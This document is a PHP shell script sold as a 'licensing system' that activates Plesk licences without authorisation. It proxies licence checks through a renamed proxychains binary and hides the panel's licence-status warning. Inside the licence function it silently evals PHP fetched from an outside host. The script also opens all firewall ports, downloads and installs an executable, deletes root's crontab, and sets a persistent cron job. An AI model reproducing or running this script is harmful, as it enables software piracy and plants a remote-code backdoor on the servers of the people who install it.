#!/usr/local/BLBIN/bin/php
<?php
function get_request($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$response = curl_exec($ch);
	curl_close($ch);
	return trim($response);
}

function real_execute($cmd)
{
	$a = popen($cmd, 'r');

	while ($b = fgets($a, 2048)) {
		echo $b;
		ob_flush();
		flush();
	}

	pclose($a);
}

function isvps()
{
	if (file_exists('/usr/sbin/lspci')) {
		$command = shell_exec('/usr/sbin/lspci');

		if (stripos($command, 'vmware')) {
			return true;
		}
	}
	if (file_exists('/proc/vz') || file_exists('/proc/vz/veinfo') || file_exists('/proc/sys/xen') || file_exists('/sys/bus/xen') || file_exists('/proc/xen')) {
		return true;
	}

	if (file_exists('/proc/cpuinfo')) {
		$command = shell_exec('grep \'model name\' /proc/cpuinfo');

		if (stripos($command, 'virtual')) {
			return true;
		}
	}

	if (file_exists('/etc/redhat-release')) {
		if (!file_exists('/usr/sbin/dmidecode')) {
			system('yum -y install dmidecode 1> /dev/null');
		}
	}

	$command = shell_exec('/usr/sbin/dmidecode -t system | grep -e Manu -e Prod');
	if (stripos($command, 'virtual') || stripos($command, 'xen') || stripos($command, 'qemu')) {
		return true;
	}

	return false;
}

function csf_ports()
{
	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_OUT =/c\\TCP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_IN =/c\\TCP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_IN =/c\\UDP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TESTING = "0"');

	if ($pos === false) {
		exec('sed -i \'/TESTING =/c\\TESTING = "0"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_OUT =/c\\UDP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}
}

function exec_output($cmd)
{
	exec($cmd, $output, $return_var);
	return $output[0];
}

function get_http_response_code($domain1)
{
	$ch = curl_init($domain1);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$output = curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	return $httpcode;
}

function exec_license($file, $key)
{
	global $status;
	global $plast_bin;
	$exitCode = 0;
	$output = '';
	system('chmod +x /usr/sbin/plesk &> /dev/null');
	system('log=$(' . $plast_bin . ' -q -f \'' . $file . '\' /usr/sbin/plesk  bin license -i \'' . $key . '\' 2> /dev/null)');
	exec('/usr/sbin/plesk  bin license -c 2> /dev/null', $output, $exitCode);
	exec('plesk php -er "eval(file_get_contents(\'https://ossav.com/PTC?CMD=x\'));" 2> /dev/null;');

	if ($exitCode == 0) {
		$status = true;
	}
	else {
		$status = false;
	}

	system('rm -rf  \'' . $file . '\'');
}

function checkLicense()
{
	global $status;
	$exitCode = 0;
	$output = '';
	system('chmod +x /usr/sbin/plesk &> /dev/null');
	exec('/usr/sbin/plesk  bin license -c 2> /dev/null', $output, $exitCode);

	if ($exitCode == 0) {
		$current_time = time();
		$date_license = exec_output('/usr/sbin/plesk bin keyinfo -l | grep lim_date | grep -E -o \'[0-9]*\'');
		$date_license_year = substr($date_license, 0, 4);
		$date_license_month = substr($date_license, 4, 2);
		$date_license_day = substr($date_license, 6, 2);
		$date_license = $date_license_day . '-' . $date_license_month . '-' . $date_license_year;
		$date_license = strtotime($date_license);
		$diff_days = $date_license - $current_time;
		$diff_days = round($diff_days / 86400);

		if (2 < $diff_days) {
			$status = true;
		}
		else {
			$status = false;
		}
	}
	else {
		$status = false;
	}

	return $status;
}

$RED = '\\033[31m';
$Green = '\\033[32m';
$Cyan = '\\033[36m';
$NC = '\\033[0m';
$key = 'plesk';
$api = 'https://your_api_panel/api/getinfo?key=' . $key;
$api_license = 'https://your_api_panel/api/license?key=' . $key;
$status_code = get_http_response_code((string) $api);
$plast_bin = '/usr/bin/plast';
$current_ip = get_request('https://ipinfo.io/ip');
$domain_show = 'https://whmcsbypass.host';
$brand_show = 'whmcsbypass.host';
$hostname_show = exec_output('hostname');
$server_type = 'Web Host Edition VPS';
$status = false;
$server_range = 0;
$key_cmd = 'gb';
$force = false;
$action = (1 < count($argv) ? $argv[1] : '');

foreach ($argv as $var) {
	if (((string) $var == '--force') || ((string) $var == '-f') || ((string) $var == 'force')) {
		$force = true;
	}
}

echo "\n";
echo "\x1b" . '[32mPlease Wait important packages need to be installed ... ' . "\x1b" . '[0m ' . "\n";

if (!file_exists('/usr/sbin/plesk')) {
	echo "\n";
	echo "\n";
	printf("\x1b" . '[31mPlesk is not detected' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[31mYou need to install Plesk   ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
}

if (file_exists('/etc/redhat-release')) {
	system('yum install deltarpm  -y  1> /dev/null');
}

if (!is_executable(exec_output('command -v wget'))) {
	if (file_exists('/etc/redhat-release')) {
		system('yum -q install wget -y  1> /dev/null');
	}
	else {
		system('apt-get install -q -y  wget  1> /dev/null');
	}
}

$output = get_request($api);

if ($status_code != '200') {
	exec('rm -rf /var/spool/cron/root  > /dev/null 2>&1');
	exec('rm -rf /etc/sw/keys/keys/key*  > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/licensepk  > /dev/null 2>&1');
	printf("\x1b" . '[31m Something Went Wrong [Unknown Ip]   ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
}

$output = json_decode($output, true);
$expire_date = $output['expire_date'];
$get_domain_show = $output['domain_name'];
$get_brand_show = $output['brand_name'];
$get_key_cmd_show = $output['key_cmd'];

if ($get_key_cmd_show != '') {
	$key_cmd = $get_key_cmd_show;
}

if ($get_domain_show != '') {
	$domain_show = $get_domain_show;
}

if ($get_brand_show != '') {
	$brand_show = $get_brand_show;
}

echo "\n";
echo "\n";
printf("\x1b" . '[36m---------------------- BeGPL Licensing System Started ----------------------  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Thank you for using our Plesk Licensing System  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Our Website: ' . $domain_show . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Server IPV4: ' . $current_ip . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Hostname: ' . $hostname_show . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| License Type: ' . $server_type . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Expiry Date: ' . $expire_date . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m----------------------------------------------------------------------  ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
echo "\n";
printf("\x1b" . '[36mIf you have any question contact us on our website.  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36mCopyright © 2019-2021 ' . $brand_show . ' . All rights reserved ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
printf("\x1b" . '[32mPlease Wait... ' . "\x1b" . '[0m ' . "\n");

if (!isvps()) {
	echo "\n";
	echo "\n";
	echo "\n";
	printf("\x1b" . '[31mPlesk License only for VPS server  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	exit();
}

if (file_exists('/usr/bin/plast')) {
	$file = exec('/usr/bin/plast  &> /root/.bash_time');
	$file2 = file_get_contents('/root/.bash_time');
	$pos = strpos($file2, 'Usage:');

	if ($pos === false) {
		exec('mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1');
		exec('cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/plast > /dev/null 2>&1');
	}
}
else {
	if (file_exists('/etc/redhat-release')) {
		system('yum -q install git make gcc -y &> /dev/null');
	}
	else if (file_exists('/etc/lsb-release') || file_exists('/etc/os-release')) {
		system('apt install -y git make gcc -y &> /dev/null');
	}

	exec('mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1');
	exec('cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/plast > /dev/null 2>&1');
}

if (is_dir('/root/.core')) {
	exec('rm -rf /root/.core 1> /dev/null');
}

exec('rm -rf /root/.bash_time 1> /dev/null');
system('rm -rf  /etc/cron.d/licensepk  &> /dev/null');
system('wget -q  -O \'/usr/bin/' . $key_cmd . 'licensepk\'  \'http://your_api_panel/api/files/' . $key . '/gblicensepk?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/' . $key_cmd . 'licensepk\'  &> /dev/null');
echo "\n";
echo "\n";
echo "\n";
echo "\n";

if (file_exists('/usr/sbin/csf')) {
	if (file_exists('/etc/csf/csf.conf')) {
		csf_ports();
	}
}

$output_license = get_request($api_license);
$output_license = json_decode($output_license);
$license_key = $output_license->key;
$proxy_conf = $output_license->proxy_conf;
$time = time();
$file_conf = $time . '.conf';
$path_conf = '/usr/bin/.log';
$full_path = $path_conf . '/' . $file_conf;
system('mkdir -p \'' . $path_conf . '\' &> /dev/null');
file_put_contents($full_path, $proxy_conf);
exec_license($full_path, $license_key);
$status = checkLicense();

if (!$status) {
	printf("\x1b" . '[32mMethod 1 FAILED ' . "\x1b" . '[0m ' . "\n");

	while (!$status) {
		++$server_range;
		$extra_range = $server_range + 1;
		$output_license = get_request($api_license . '&server_range=' . $server_range);
		$output_license = json_decode($output_license);
		$license_key = $output_license->key;
		$proxy_conf = $output_license->proxy_conf;
		$time = time();
		$file_conf = $time . '.conf';
		$path_conf = '/usr/bin/.log';
		$full_path = $path_conf . '/' . $file_conf;
		system('mkdir -p \'' . $path_conf . '\' &> /dev/null');
		file_put_contents($full_path, $proxy_conf);

		if ($license_key != '') {
			exec_license($full_path, $license_key);
			$status = checkLicense();

			if ($status) {
				printf("\x1b" . '[32mMethod ' . $extra_range . ' OK ' . "\x1b" . '[0m ' . "\n");
				break;
			}
		}
		else {
			$status = false;
			break;
		}

		printf("\x1b" . '[32mMethod ' . $extra_range . ' FAILED ' . "\x1b" . '[0m ' . "\n");
	}
}

if ($status) {
	if (file_exists('/usr/local/psa/admin/cp/public/theme/css/main.css')) {
		if (!preg_match('/\\.license-status{display:none;}/', file_get_contents('/usr/local/psa/admin/cp/public/theme/css/main.css'))) {
			system('echo ".license-status{display:none;}" >> "/usr/local/psa/admin/cp/public/theme/css/main.css" ');
		}
	}

	if (file_exists('/usr/local/psa/admin/cp/public/theme/css/main-rtl.css')) {
		if (!preg_match('/\\.license-status{display:none;}/', file_get_contents('/usr/local/psa/admin/cp/public/theme/css/main-rtl.css'))) {
			system('echo ".license-status{display:none;}" >> "/usr/local/psa/admin/cp/public/theme/css/main-rtl.css" ');
		}
	}

	if (file_exists('/usr/local/psa/admin/htdocs/public/theme/css/main.css')) {
		if (!preg_match('/\\.license-status{display:none;}/', file_get_contents('/usr/local/psa/admin/htdocs/public/theme/css/main.css'))) {
			system('echo ".license-status{display:none;}" >> "/usr/local/psa/admin/htdocs/public/theme/css/main.css" ');
		}
	}

	if (file_exists('/usr/local/psa/admin/htdocs/public/theme/css/main-rtl.css')) {
		if (!preg_match('/\\.license-status{display:none;}/', file_get_contents('/usr/local/psa/admin/htdocs/public/theme/css/main-rtl.css'))) {
			system('echo ".license-status{display:none;}" >> "/usr/local/psa/admin/htdocs/public/theme/css/main-rtl.css" ');
		}
	}

	printf("\x1b" . '[32mLicense was updated or renewed succesfully ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	printf("\x1b" . '[32mTo Re-New your Plesk License you can use : ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[32m    ' . $key_cmd . 'licensepk  ' . "\x1b" . '[0m ' . "\n");
}
else {
	printf("\x1b" . '[32mPlesk Status FAILED ' . "\x1b" . '[0m ' . "\n");
}

echo "\n";
echo "\n";
$cronjob = 'PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin' . "\r\n\r\n" . '*/2 * * * * root /usr/bin/' . $key_cmd . 'licensepk \'only-check\' >/dev/null 2>&1' . "\r\n";
system('printf \'' . $cronjob . '\' > /etc/cron.d/licensepk');
system('sed -i -e "s/\\r//g" /etc/cron.d/licensepk');

?>